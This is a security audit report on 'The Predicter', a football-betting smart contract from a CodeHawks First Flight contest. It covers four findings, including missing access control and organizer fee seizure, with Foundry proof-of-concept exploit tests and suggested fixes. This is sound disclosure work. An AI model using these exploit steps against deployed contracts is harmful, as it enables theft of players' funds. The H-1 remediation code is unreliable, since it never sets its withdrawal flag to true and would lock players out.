Protocol Audit Report

Version 1.0

Ease Industries

July 25, 2024

Protocol Audit Report

Ease Industries

July 25, 2024

Prepared by: Ease Industries

Lead Auditors: - Eyan Ingles

Table of Contents

Protocol Summary

This protocol is designed to ensure fairness for participants in a social event centered around watching football and placing small bets with friends to make it more engaging. To achieve this, the developer has created three distinct roles:

- **The Organizer**: The owner of the smart contract, responsible for managing the overall operation of the protocol. The organizer approves registered users to become players, sets the game results, and pays for the venue, ensuring a great experience for all participants.
- **The Users**: Individuals who register with the intent to participate in the betting activities. Users must wait for the organizer's approval to become players. If a user is not approved, they can

reclaim their entry fee. This ensures that users who do not get the opportunity to participate as players are not financially disadvantaged.

- **The Players**: Users who have been approved by the organizer, granting them additional benefits. Players are eligible to join the social event, place bets on football matches, and predict outcomes such as First, Draw, and Second. Being a player enhances the experience by allowing them to actively participate in the betting activities and potentially win rewards. Only a maximum of 30 players are allowed for the duration of the seasonal games.

By clearly defining these roles and their responsibilities, the protocol aims to create a fair and enjoyable environment for all participants. The structure ensures that only approved users can place bets, maintaining the integrity of the betting process and the social event.

Disclaimer

The Ease Industries team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
2e8f81e263b3a9d18fab4fb5c46805ffc10a9990
```

Scope

```
#src
 ---> Scoreboard.sol
 ---> ThePredicter.sol
```

Roles

- Organizer: The owner who sets up the game, fee's and the game results.
- Approved player: player who is approved by the organiser that can pay fee's for the hall rental and being able to watch the game that has limited spots (30), the players can also gamble on predictions of the game endcome and pay a fee for a winnings pool.
- User: a person is registered and is waiting on approval to become a player.

Executive Summary

During the **CodeHawks First Flight #20: The Predicter** audit, we dedicated 16 hours to thoroughly evaluate the protocol. This time included:

- **Manual Review:** Carefully inspecting the code to spot vulnerabilities and ensure best practices.
- **Automated Tools:** Using tools like Aderyn and Slither to automatically detect common issues.
- **Writing Tests:** Creating comprehensive tests to check the functionality and security of the protocol.
- **Theory Testing:** Exploring and testing various potential attack methods to ensure robustness.
- **Final Reporting:** Compiling a detailed report of our findings and recommendations.

Our goal was to enhance the security and reliability of The Predicter protocol through this detailed and thorough audit process.

Detailed specifications of Foundry testing scopes are provided in the Findings section.

During our manual code review, we identified several significant issues within the protocol. For a comprehensive overview of the problems discovered, please refer to the #Findings section.

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Info	0
total	4

Findings

High

[H-1] `ThePredicter::withdrawPredictionFees` Reverts if Players Withdraw 50% of Contract Funds, Preventing the `Organizer` from Claiming Fees

Summary

Once all matches have had their results set, players with a positive score can claim their rewards through the `ThePredicter::withdraw` function. If players withdraw over 50% of the contract's funds before the organizer can call `withdrawPredictionFee`, the organizer is unable to claim the required fees due to an **arithmetic underflow or overflow** revert. This scenario has a higher probability because players are eager to get their rewards, while the organizer might be relaxed, thinking the funds are secure and cannot be taken from them.

Vulnerability Details

Please use and refer to the PoC below that is to be used in `ThePredicter.test.sol`file.

1. We have 2 players called player1 and player2, they both register, have their address approved and submit predictions by calling `ThePredictor::makePredictionfunction` and the organizer then `setResult`.
2. player 1 gets a total points of 11 and player 2 get 10 points in total, player1 gains a majority of 52.4% of the winnings.

3. player1 claims their rewards by calling `ThePredicter::withdraw`, player2 does not claim their rewards.
4. The organizer attempts to claim the required fees by calling `withdrawPredictionFee` but encounters a revert error due to arithmetic underflow or overflow.

This PoC demonstrates how the vulnerability occurs when players withdraw a significant portion of the contract's funds, preventing the organizer from claiming their fees.

PoC

```
  function testFailOragnizerUnableToClaimFees() public {
          address player1 = makeAddr("player1");
          address player2 = makeAddr("player2");
          vm.startPrank(player1);
          vm.deal(player1, 1 ether);
          thePredicter.register{value: 0.04 ether}();
          vm.stopPrank();

          vm.startPrank(player2);
          vm.deal(player2, 1 ether);
          thePredicter.register{value: 0.04 ether}();
          vm.stopPrank();

          vm.startPrank(organizer);
          thePredicter.approvePlayer(player2);
          vm.stopPrank();

          vm.startPrank(player1);
          thePredicter.makePrediction{value: 0.0001 ether}(0,
↪   ScoreBoard.Result.First);
          thePredicter.makePrediction{value: 0.0001 ether}(1,
↪   ScoreBoard.Result.First);
          thePredicter.makePrediction{value: 0.0001 ether}(2,
↪   ScoreBoard.Result.First);
          thePredicter.makePrediction{value: 0.0001 ether}(3,
↪   ScoreBoard.Result.First);
          thePredicter.makePrediction{value: 0.0001 ether}(4,
↪   ScoreBoard.Result.First);
          thePredicter.makePrediction{value: 0.0001 ether}(5,
↪   ScoreBoard.Result.First);
          thePredicter.makePrediction{value: 0.0001 ether}(6,
↪   ScoreBoard.Result.Draw);
          vm.stopPrank();
```

```
        vm.startPrank(player2);
        thePredicter.makePrediction{value: 0.0001 ether}(0,
↪  ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(1,
↪  ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(2,
↪  ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(3,
↪  ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(4,
↪  ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
        scoreBoard.setResult(7, ScoreBoard.Result.First);
        scoreBoard.setResult(8, ScoreBoard.Result.First);
        vm.stopPrank();
        // player 1 will now withdraw their rewards.
        vm.startPrank(player1);
        thePredicter.withdraw();
        vm.stopPrank();
        // organiser will now try to withdraw prediction fees.
        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
    }
```

Impact

causing potential financial losses and disrupting the intended fee collection process. This scenario is likely because players are motivated to withdraw their rewards promptly, potentially leaving the organizer with no access to the funds needed for operational expenses. This causes a high potential financial losses and disrupting the intended fee collection process. This scenario is likely because players are motivated to withdraw their rewards promptly, potentially leaving the organizer with no access to the funds needed for operational expenses.

Tools Used

Manual Review

Recommendations

Recommendations to prevent this bug would be to store a boolean value of if the organizer has claimed the fee's or not, then have a check at `ThePredicter::withdraw` before any player can withdraw their rewards.

Add a new storage with a `bool`value, pass it through the constructor function and set it to false.

```
  contract ThePredicter {
      using Address for address payable;
+     bool public playersCanWithdraw;

  constructor(address _scoreBoard, uint256 _entranceFee, uint256
↪  _predictionFee) {
          organizer = msg.sender; //@explain: makes the msg.sender the
↪  owner(organiser)
          scoreBoard = ScoreBoard(_scoreBoard); //@explain: gets ScoreBoard
↪  contract address.
          entranceFee = _entranceFee; //@explain: sets the entrance fee
↪  amount.
          predictionFee = _predictionFee; //@explain: sets the prediction
↪  fee amount.
+         playersCanWithdraw = false;
      }
```

`ThePredicter::withdrawPredictionFees`have the boolean value changed to true once the organizer has withdrawn their fees at the bottom to follow CEI

```
  function withdrawPredictionFees() public
  +returns (bool success)
  {
          if (msg.sender != organizer) {
              revert ThePredicter__NotEligibleForWithdraw();
          }

          uint256 fees = address(this).balance - players.length *
↪  entranceFee; //@explain: sets a new variable for the fee amount to pay
↪  for the hall rent.
          (bool success,) = msg.sender.call{value: fees}(""); //@explain:
↪  sends the fee amount to the organiser.
```

```
          require(success, "Failed to withdraw");
+         success = playersCanWithdraw;
      }
```

lastly to have a check on the `ThePredicter::withdraw`function.

```
  function withdraw() public {
+       require(playersCanWithdraw == true);
          if (!scoreBoard.isEligibleForReward(msg.sender)) {
              revert ThePredicter__NotEligibleForWithdraw();
          }
```

[H-2] `ScoreBoard::setPrediction` Lacks Access Control, Allowing Unauthorised Modifications and Score Manipulation to any Player Predictions

Summary

The `setPrediction` function allows any address to access and change the predictions of any player who has used the `ThePredicter::makePrediction` function. Until the `block.timestamp` passes the designated cutoff time, predictions can be altered. This enables a malicious player to change another player's prediction to `Pending` just before the cutoff, causing the affected player to receive no points. This also allows the malicious player to maximize their profit by ensuring other players' scores remain at zero

Vulnerability Details

The following code is to be used in `ThePredicter.test.sol` file.

1. We have 3 players called `player1`, `player2` and `player3` who have registered, have addresses approved by `organizer` and make 3 predictions each player.
2. The `organizer` sets the scores, for this example we set them all at once with results of `First`. Meanwhile `player1` has changed the predictions of `player2` and `player3` for games 1 and 2 to `Pending` giving them a score of 0.
3. We then warp the timestamp to `1723888799` for game #3, have `player1` change the predictions of `player2` and `player3` to result of `Pending`.
4. `player2` realises that their score isnt reflecting what they have predicted, `player2` tries to change the prediction using `setPrediction` to result of `First`, but because it is after the

allocated time, score has been set and cant be reversed leaving with a score of 0 as per following scores below.

```
player1 score: 6
player2 score: 0
player3 score: 0
```

1. `organizer` calls `withdrawPredictionFees` to receive the amount to pay hall rent according to the `README.md` file.
2. `player1` withdraws their reward prize, draining the prize pool maximising their earnings.

```
function testSetPredicitonScenerio() public {
    address player1 = makeAddr("player1");
    address player2 = makeAddr("player2");
    address player3 = makeAddr("player3");

    vm.startPrank(player1);
    vm.deal(player1, 1 ether);
    thePredicter.register{value: 0.04 ether}();
    vm.stopPrank();

    vm.startPrank(player2);
    vm.deal(player2, 1 ether);
    thePredicter.register{value: 0.04 ether}();
    vm.stopPrank();

    vm.startPrank(player3);
    vm.deal(player3, 1 ether);
    thePredicter.register{value: 0.04 ether}();
    vm.stopPrank();

    vm.startPrank(organizer);
    thePredicter.approvePlayer(player1);
    thePredicter.approvePlayer(player2);
    thePredicter.approvePlayer(player3);
    vm.stopPrank();

    vm.startPrank(player1);
    thePredicter.makePrediction{value: 0.0001 ether}(1,
↪  ScoreBoard.Result.First);
    thePredicter.makePrediction{value: 0.0001 ether}(2,
↪  ScoreBoard.Result.First);
    thePredicter.makePrediction{value: 0.0001 ether}(3,
↪  ScoreBoard.Result.First);
```

```
        vm.stopPrank();

        vm.startPrank(player2);
        thePredicter.makePrediction{value: 0.0001 ether}(1,
↪   ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(2,
↪   ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(3,
↪   ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(player3);
        thePredicter.makePrediction{value: 0.0001 ether}(1,
↪   ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(2,
↪   ScoreBoard.Result.First);
        thePredicter.makePrediction{value: 0.0001 ether}(3,
↪   ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
        scoreBoard.setResult(7, ScoreBoard.Result.First);
        scoreBoard.setResult(8, ScoreBoard.Result.First);
        thePredicter.withdrawPredictionFees();
        vm.stopPrank();

        vm.startPrank(player1);
        scoreBoard.setPrediction(address(player2), 1,
↪   ScoreBoard.Result.Pending);
        scoreBoard.setPrediction(address(player3), 1,
↪   ScoreBoard.Result.Pending);

        scoreBoard.setPrediction(address(player2), 2,
↪   ScoreBoard.Result.Pending);
        scoreBoard.setPrediction(address(player2), 2,
↪   ScoreBoard.Result.Pending);
```

```
        vm.stopPrank();
        //get players scores
        int8 player1score = scoreBoard.getPlayerScore(address(player1));
        int8 player2score = scoreBoard.getPlayerScore(address(player2));
        int8 player3score = scoreBoard.getPlayerScore(address(player3));

        vm.warp(1723888799); // game 3.
        vm.startPrank(player1);
        scoreBoard.setPrediction(address(player2), 3,
↪   ScoreBoard.Result.Pending);
        scoreBoard.setPrediction(address(player3), 3,
↪   ScoreBoard.Result.Pending);
        scoreBoard.isEligibleForReward(address(player1)); //is eligable.
        vm.stopPrank();
        vm.warp(1723888801); // game 3.
        vm.startPrank(organizer);
        vm.stopPrank();

        //player 2 realises that the results have been changed and tries to
        ↪  change them back.
        vm.startPrank(player2);
        scoreBoard.setPrediction(address(player2), 3,
↪   ScoreBoard.Result.First);
        vm.stopPrank();

        int8 player1score1 = scoreBoard.getPlayerScore(address(player1));
        int8 player2score1 = scoreBoard.getPlayerScore(address(player2));
        int8 player3score1 = scoreBoard.getPlayerScore(address(player3));

        //checking balance and withdrawing.
        uint256 balanceBefore = player1.balance;
        console.log("balance before withdraw:", balanceBefore);
        vm.startPrank(player1);
        thePredicter.withdraw();
        vm.stopPrank();
        uint256 balanceAfter = player1.balance;
        console.log("balance after withdraw:", balanceAfter);
        uint256 prizePoolBalance = address(thePredicter).balance;
        console.log("balance of prizePool after withdraw:",
        ↪  prizePoolBalance);
    }
```

Impact

The impact of this vulnerability is that a player can change other players' predictions without their knowledge until the designated time has passed. As a result, the affected player cannot change their prediction back, leading to potential manipulation and unfair outcomes.

Tools Used

Manual review

Recommendations

Add the `onlyThePredicter` modifier to ensure that it is only `ThePredicter` contract that calls and execute this function.

```
function setPrediction(address player, uint256 matchNumber, Result result)
-    public {
+   public onlyThePredicter {
        if (
            block.timestamp <= START_TIME + matchNumber * 68400 - 68400
        ) {
            playersPredictions[player].predictions[matchNumber] = result;
        }
        playersPredictions[player].predictionsCount = 0;
        for (uint256 i = 0; i < NUM_MATCHES; ++i) {
            if (playersPredictions[player].predictions[i] != Result.Pending
↪   && playersPredictions[player].isPaid[i]) {
                ++playersPredictions[player].predictionsCount;
            }
        }
}
```

[H-3] Malicious Organizer Can Seize All Fees After Registration, Preventing Registered Addresses from Cancelling and Receiving Refunds.

Summary

The organizer can maliciously or unexpectedly withdraw fees from the contract once any address has registered and paid a fee. The organizer can call the function each time a new address registers, without

the need for approval. This behavior prevents unapproved addresses from canceling their registration and receiving a refund. The only way for an unapproved address to get their money back is to wait for predictions to be made, which allows the organizer to accumulate more funds while reducing the rewards available for approved players who participate in the predictions.

Vulnerability Details

Use the following test in `ThePredicter.test.sol`file.

We have 2 tests:

1. Test `testOrganizerTakesUnapprovedFees` demonstrates that an address that has registered but not been approved can have their fees taken by the organizer before approval. In this example, another address `player1` registers, providing enough funds for `unApprovedPlayer1` to cancel their registration and reclaim their fees.

```
//Case for a registered address to cancel and claim fee back after another
↪  address registers
function testOrganizerTakesUnapprovedFees() public {
        address unApprovedPLayer1 = makeAddr("unApprovedPLayer1");
        address player1 = makeAddr("player1");
        address player2 = makeAddr("player2");
        address player3 = makeAddr("player3");

        vm.startPrank(unApprovedPLayer1);
        vm.deal(unApprovedPLayer1, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
        thePredicter.approvePlayer(player1);
        vm.stopPrank();

        vm.startPrank(player1);
        vm.deal(player1, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
```

```
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
        scoreBoard.setResult(7, ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(unApprovedPLayer1);
        thePredicter.cancelRegistration();
        vm.stopPrank();
    }
```

1. Test `testFailOrganizerTakesUnapprovedFees` demonstrates that an address that has registered but not been approved can have their fees taken by the organizer before approval. In this example, two addresses register but are not approved. They attempt to cancel and reclaim their funds, but the organizer has already withdrawn their fees without approving them. As a result, the pool lacks sufficient funds to refund the unapproved players, leaving them unable to participate in the event.

```
//Fail case for when a address(unapproved) tries to cancel registration
↪  before players gamble
function testFailOrganizerTakesUnapprovedFees() public {
        address unApprovedPLayer1 = makeAddr("unApprovedPLayer1");
        address unApprovedPLayer2 = makeAddr("unApprovedPLayer2");

        vm.startPrank(unApprovedPLayer1);
        vm.deal(unApprovedPLayer1, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
        vm.stopPrank();

        vm.startPrank(unApprovedPLayer2);
        vm.deal(unApprovedPLayer2, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
        vm.stopPrank();
```

```
        vm.startPrank(unApprovedPLayer1);
        thePredicter.cancelRegistration();
        vm.stopPrank();
    }
```

Impact

The vulnerability demonstrated in `testOrganizerTakesUnapprovedFees` allows the organizer to withdraw fees from unapproved addresses immediately after registration. This behavior prevents unapproved players from canceling their registration and reclaiming their funds unless additional addresses register. Consequently, this can lead to a situation where unapproved players are unable to recover their fees promptly, while the organizer accumulates more funds. Furthermore, when approved players make predictions and pay the fee, the overall winnings can be impacted, reducing the rewards available and affecting the fairness and transparency of the contract.

Tools Used

Manual Review

Recommendations

To ensure the organizer only claims fees from approved players, we can introduce a new storage array called playersFeesToClaim. Approved player addresses will be pushed into this array by the ThePredicter::approvePlayer function. When the organizer claims the fees through the ThePredicter::withdrawPredictionFees function, it will only claim fees from the players in this array. After claiming the fees, the array will be cleared to ensure fees are only claimed once from each player.

```
    //ThePredicter smart contract storage Mitigation

    address public organizer;
    address[] public players;
+   address[] public playersFeesToClaim;
    uint256 public entranceFee;
    uint256 public predictionFee;
    ScoreBoard public scoreBoard;
    mapping(address players => Status) public playersStatus;

//ThePredicter::approvePlayer function Mitigation
```

```
function approvePlayer(address player) public {
        if (msg.sender != organizer) {
            revert ThePredicter__UnauthorizedAccess();
        }
        if (players.length >= 30) {
            revert ThePredicter__AllPlacesAreTaken();
        }
        if (playersStatus[player] == Status.Pending) {
            playersStatus[player] = Status.Approved;
            players.push(player);
+           playersFeesToClaim.push(player);
        }
    }

//ThePredicter::withdrawPredictionFees function Mitigations

function withdrawPredictionFees() public {
        if (msg.sender != organizer) {
            revert ThePredicter__NotEligibleForWithdraw();
        }
-       uint256 fees = address(this).balance - players.length *
↪   entranceFee;
+       if (playersFeesToClaim.length > 0) {
+       uint256 fees = playersFeesToClaim.length * entranceFee;
+       delete playersFeesToClaim;
        (bool success,) = msg.sender.call{value: fees}("");
        require(success, "Failed to withdraw");
+       }
}
```

Medium

[M-1] Lack of Zero Address Checks in Parameters Causing `ThePredicter` Smart Contract to Become Unusable

Summary

When the ThePredicter smart contract is deployed, one of the parameters requires an address for the ScoreBoard smart contract. This address is passed through the constructor and sets the ScoreBoard

smart contract permanently. However, there are no checks to ensure that a zero address is not passed as the ScoreBoard smart contract address, which could lead to an unusable smart contract.

Vulnerability Details

When the ThePredicter smart contract is deployed, one of the parameters requires an address for the ScoreBoard smart contract. This address is passed through the constructor and sets the ScoreBoard smart contract permanently. However, there are no checks to ensure that a zero address is not passed as the ScoreBoard smart contract address, which could lead to an unusable smart contract.

```
constructor(address _scoreBoard, uint256 _entranceFee, uint256
↪  _predictionFee) {
        organizer = msg.sender;
        scoreBoard = ScoreBoard(_scoreBoard);
        entranceFee = _entranceFee;
        predictionFee = _predictionFee;
    }
```

Impact

If a zero address is set as the ScoreBoard contract address, any interactions and calls to the ScoreBoard smart contract will be unresponsive. Any data or money involved in interactions with the ScoreBoard smart contract will be lost. Players who interact with ThePredicter may lose their funds if the contract cannot properly record scores or handle predictions due to the invalid ScoreBoard address.

Tools Used

Manual Review and Aderyn Report.

Recommendations

To prevent this vulnerability, add a zero address check in the constructor to ensure a valid ScoreBoard address is provided. Here's an example of how to implement this:

```
    constructor(address _scoreBoard, uint256 _entranceFee, uint256
↪  _predictionFee) {
+       require(_scoreBoard != address(0), "Invalid ScoreBoard address");
        organizer = msg.sender;
        scoreBoard = ScoreBoard(_scoreBoard);
```

```
        entranceFee = _entranceFee;
        predictionFee = _predictionFee;
    }
```